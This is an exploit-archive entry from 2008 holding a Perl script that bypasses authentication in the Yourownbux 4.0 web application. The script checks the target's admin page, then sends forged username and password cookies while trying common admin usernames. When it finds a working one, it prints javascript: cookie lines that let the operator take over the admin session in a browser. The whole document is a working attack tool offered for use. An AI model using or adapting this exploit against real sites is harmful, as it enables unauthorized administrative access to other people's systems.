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# Title : Yourownbux 4.0 (COOKIE) Authentication Bypass Exploit
# Published : 2008-09-11
# Author : Tec-n0x
# Previous Title : Easy Photo Gallery 2.1 Arbitrary Add Admin / remove user Vulnerability
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#!/usr/bin/perl

use LWP::UserAgent;
use HTTP::Request;

#+-------------------------------------------------------------------------------------------------+-#
#+ Yourownbux v4.0                   ------------------------------------------------------------+--+
#+ Cookie Modification Exploit -----------------------------------------------------------------++
#+ Discovered By: Tec-n0x | 04/9/2008 --------------------------------------------------------++
#
#+ Dropsec.com
#
#+ Modify The Line 39, Adding More User's that can be the admin username------------+
#+
# + Gr33tz: Celciuz, OzX, N.O.X, MurdeR, Syst3m-c0d3r && All Friends --++
#+-------------------------------------------------------------+----------------------------------------#



system("clear");

print "
# Yourownbux v4.0 Cookie Modification Exploitn# Discovered By: Tec-n0xnn# Tec-n0x [ at ] hotmail [ dot ] com > DropSec.com 
nn";
print "Target [ Example: www.sitedemo.com ] :n> ";
$target = <STDIN>;
chop($target);

if($target =~ m/www.(.*).(.*)/) {

$other = $1;
check1($target);

} else {
print "nInvalid Target.";
exit();
}

sub explote {

@tryusers = ("admina", "administrator", "admins", "admin", "master", "manager", "root", "$other"); 
# Add Posible Users.

$check = shift;

foreach $user (@tryusers) { 

$pass = "Tec-n0x";

print "ntTrying > $usern";

	$browser = LWP::UserAgent->new();
	$browser->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14");
	$browser->default_header("Cookie" => "usNick=$user; usPass=$pass");
	$get = HTTP::Request->new(GET => $check);
	$resp = $browser->request($get);
	$content = $resp->content();

@code = split("n",$content);

	foreach $checka (@code) {

			if($checka =~ m/Emails|Served|Workload|Overview/) {

system("clear");

print "Succesfull EXPLOTED ...!!nnValid Username: $usernnGo to: $checknn And Put this on your browser:";

$vd = "javascript:document.cookie = "usNick=$user; path=/";";
$vda = "javascript:document.cookie = "usPass=Dropsec.com; path=/";";

print "

+------------------------------------+
+ $vdn+ $vda
+------------------------------------+
";


$yes = 1;

exit();

}
}
}

if($yes != 1) {

print "nnnExploit Failed";

exit();

}

}
sub check1 {

$target = shift;

$check = "http://$target/admin/index.php";

	$browser = LWP::UserAgent->new();
	$browser->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14");
	$get = HTTP::Request->new(GET => $check);
	$resp = $browser->request($get);
	$content = $resp->content();

@code = split("n",$content);

	foreach $checka (@code) {

			if($checka =~ m/You must login as administrator to access this page/) {

print "Check 1 [ OK ]n";

$success = 1;

explote($check);

} 

}

if($sucess != 1) {

print "Failed";

exit();

}

}

# www.Syue.com [2008-09-11]